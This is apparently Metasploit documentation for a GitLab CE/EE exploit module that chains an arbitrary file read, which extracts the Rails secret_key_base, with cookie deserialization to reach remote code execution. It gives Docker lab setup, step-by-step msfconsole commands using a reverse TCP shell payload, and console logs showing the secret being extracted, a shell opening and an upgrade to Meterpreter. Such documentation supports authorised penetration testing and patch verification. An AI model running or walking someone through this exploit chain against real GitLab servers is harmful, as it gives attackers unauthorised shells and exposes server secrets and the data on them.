12 KiB
Vulnerable Application
Description
This module provides remote code execution against GitLab Community Edition (CE) and Enterprise Edition (EE). It combines an arbitrary file read to extract the Rails "secret_key_base", and gains remote code execution with a deserialization vulnerability of a signed 'experimentation_subject_id' cookie that Gitlab uses internally for A/B testing.
Note that the arbitrary file read exists in GitLab EE/CE 8.5 and later,
and was fixed in 12.9.1, 12.8.8, and 12.7.8. However, the RCE only affects
versions 12.4.0 and above when the vulnerable experimentation_subject_id
cookie was introduced.
Tested on GitLab 12.8.1 and 12.4.0.
Setup
Running GitLab 12.8.1 with docker:
sudo docker run \
--rm \
--publish 443:443 --publish 80:80 --publish 22:22 \
--name gitlab \
gitlab/gitlab-ee:12.8.1-ee.0
The application will be available on port 80 or 443. This may take a long time.
Setting up SSL
This step is optional and only required if you wish to enable HTTPS for an arbitrary test URL such as gitlab.example.com
Connect to the running Gitlab instance:
sudo docker exec -it gitlab /bin/bash
Add these lines to /etc/gitlab/gitlab.rb:
external_url "https://gitlab.example.com"
letsencrypt['enable'] = false
Use OpenSSL to create a self signed certificate and key:
mkdir -p /etc/gitlab/ssl
chmod 755 /etc/gitlab/ssl
cd /etc/gitlab/ssl
openssl req -x509 -sha256 -nodes -days 365 -newkey rsa:2048 -keyout gitlab.example.com.key -out gitlab.example.com.crt
Reconfigure GitLab:
gitlab-ctl reconfigure
On your host machine modify your /etc/hosts file:
127.0.0.1 gitlab.example.com
Visit the test URL in your browser and either ignore the certificate warnings or add it to continue:
https://gitlab.example.com/
Creating a user
You can either create a user account normally or programmatically as shown below.
Connect to the running Gitlab instance:
sudo docker exec -it gitlab /bin/bash
Open an interactive rails console:
gitlab-rails console -e production
Optional - Set the Gitlab root account credentials:
admin = User.where(id: 1).first
admin.update!(
password: 'password123',
password_confirmation: 'password123',
confirmation_token: nil,
confirmed_at: Time.now,
confirmation_sent_at: nil,
failed_attempts: 0
)
admin.skip_reconfirmation!
Create a normal user account:
user = User.new(
username: 'test',
name: 'test',
email: 'test@example.com',
password: 'password123',
password_confirmation: 'password123',
confirmation_token: nil,
confirmed_at: Time.now,
confirmation_sent_at: nil,
failed_attempts: 0
)
user.save!
user.skip_confirmation!
Once finished, kill the running docker container with:
docker kill gitlab
Verification Steps
Check:
- Run the application
- Start msfconsole
use exploit/multi/http/gitlab_file_read_rceset RPORT <port>set RHOST <ip>set USERNAME test@example.comset PASSWORD password123check
[*] 10.10.10.111:9999 - The target appears to be vulnerable. GitLab 12.8.1 is a vulnerable version.
Run:
- Run the application
- Start msfconsole
use exploit/multi/http/gitlab_file_read_rceset RPORT <port>set RHOST <ip>set USERNAME test@example.comset PASSWORD password123set LPORT <port>set LHOST <ip>run- You should get a shell.
Specifying a SECRET_KEY_BASE to avoid the arbitrary file read:
- Run the application
- Start msfconsole
use exploit/multi/http/gitlab_file_read_rceset RPORT <port>set RHOST <ip>set SECRET_KEY_BASE 301ee96a664dc634b8766368d26b4ef4deb46c593490dc1f39526e0f278f2dfcb9f5c9bb13c74b5377848259a533c9ad137885c01a4387deb799e14589a6fbacset LPORT <port>set LHOST <ip>run- You should get a shell.
Scenarios
Arbitrary File Read to RCE
msf6 exploit(multi/http/gitlab_file_read_rce) > options
Module options (exploit/multi/http/gitlab_file_read_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
DEPTH 15 yes Define the max traversal depth
PASSWORD password123 yes The password for the specified username
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 127.0.0.1 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SECRETS_PATH /opt/gitlab/embedded/service/gitlab-rails/ yes The path to the secrets.yml file
config/secrets.yml
SECRET_KEY_BASE no The known secret_key_base from the secrets.yml - this skips the arbitrary file read if present
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI /users/sign_in yes The path to the vulnerable application
USERNAME test@example.com yes The username to authenticate as
VHOST gitlab.example.com no The virtual host name to use in requests
Payload options (generic/shell_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST docker0 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
msf6 exploit(multi/http/gitlab_file_read_rce) > rerun
[*] Started reverse TCP handler on 172.17.0.1:4444
[*] Executing automatic check (disable AutoCheck to override)
[+] The target appears to be vulnerable. GitLab 12.8.1 is a vulnerable version.
[*] Logged in to user test
[*] Created project /test/pKUuduxC
[*] Created project /test/5W350yP1
[*] created issue /test/pKUuduxC/issues/1
[*] Executing arbitrary file load
[+] File saved as: '/home/kali/.msf4/loot/20201121213408_default_127.0.0.1_gitlab.secrets_675303.txt'
[+] Extracted secret_key_base e41f3a01d22ff6a694be33bf2e5d40af89b788088938203c3478818da595731ada41c2b9c3d3caff79de7647a0c287bb68f6ca1912904a766237543013c46594
[*] Attempting to delete project /test/pKUuduxC
[*] Command shell session 23 opened (172.17.0.1:4444 -> 172.17.0.2:34058) at 2020-11-21 21:34:08 -0500
[*] Deleted project /test/pKUuduxC
[*] Attempting to delete project /test/5W350yP1
[*] Deleted project /test/5W350yP1
whoami
git
^Z
Background session 23? [y/N] y
msf6 exploit(multi/http/gitlab_file_read_rce) > sessions -u 23
[*] Executing 'post/multi/manage/shell_to_meterpreter' on session(s): [23]
[!] SESSION may not be compatible with this module.
[*] Upgrading session ID: 23
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 172.17.0.1:4433
[*] Sending stage (976712 bytes) to 172.17.0.2
[*] Meterpreter session 24 opened (172.17.0.1:4433 -> 172.17.0.2:45442) at 2020-11-21 21:34:34 -0500
[*] Command stager progress: 100.00% (773/773 bytes)
msf6 exploit(multi/http/gitlab_file_read_rce) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
23 shell ruby/ruby 172.17.0.1:4444 -> 172.17.0.2:34058 (127.0.0.1)
24 meterpreter x86/linux git @ 622b6a4c6722 (uid=998, gid=998, euid=998, egid=998) @ 17 172.17.0.1:4433 -> 172.17.0.2:45442 (172.17.0.2)
2.17.0.2
msf6 exploit(multi/http/gitlab_file_read_rce) >
Specifying SECRET_KEY_BASE to RCE
msf6 exploit(multi/http/gitlab_file_read_rce) > options
Module options (exploit/multi/http/gitlab_file_read_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
DEPTH 15 yes Define the max traversal depth
PASSWORD no The password for the specified username
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 127.0.0.1 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:
<path>'
RPORT 80 yes The target port (TCP)
SECRETS_PATH /opt/gitlab/embedded/service/gitlab-rails yes The path to the secrets.yml file
/config/secrets.yml
SECRET_KEY_BASE 301ee96a664dc634b8766368d26b4ef4deb46c593 no The known secret_key_base from the secrets.yml - this skips the arbitrary f
490dc1f39526e0f278f2dfcb9f5c9bb13c74b5377 ile read if present
848259a533c9ad137885c01a4387deb799e14589a
6fbac
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI /users/sign_in yes The path to the vulnerable application
USERNAME no The username to authenticate as
VHOST gitlab.example.com no HTTP server virtual host
Payload options (generic/shell_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST docker0 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
msf6 exploit(multi/http/gitlab_file_read_rce) > run
[*] Started reverse TCP handler on 172.17.0.1:4444
[*] Executing automatic check (disable AutoCheck to override)
[+] The target appears to be vulnerable. GitLab 12.8.1 is a vulnerable version.
[*] Command shell session 12 opened (172.17.0.1:4444 -> 172.17.0.2:58026) at 2020-12-06 19:53:24 -0500
^Z
Background session 12? [y/N] y
msf6 exploit(multi/http/gitlab_file_read_rce) > sessions -u 12
[*] Executing 'post/multi/manage/shell_to_meterpreter' on session(s): [12]
[!] SESSION may not be compatible with this module.
[*] Upgrading session ID: 12
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 172.17.0.1:4433
[*] Sending stage (976712 bytes) to 172.17.0.2
[*] Meterpreter session 13 opened (172.17.0.1:4433 -> 172.17.0.2:56876) at 2020-12-06 19:53:42 -0500
[*] Command stager progress: 100.00% (773/773 bytes)
msf6 exploit(multi/http/gitlab_file_read_rce) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
12 shell ruby/ruby 172.17.0.1:4444 -> 172.17.0.2:58026 (127.0.0.1)
13 meterpreter x86/linux git @ 5d733775a28a (uid=998, gid=998, euid=998, egid=998) @ 172 172.17.0.1:4433 -> 172.17.0.2:56876 (172.17.0.2)
.17.0.2
msf6 exploit(multi/http/gitlab_file_read_rce) >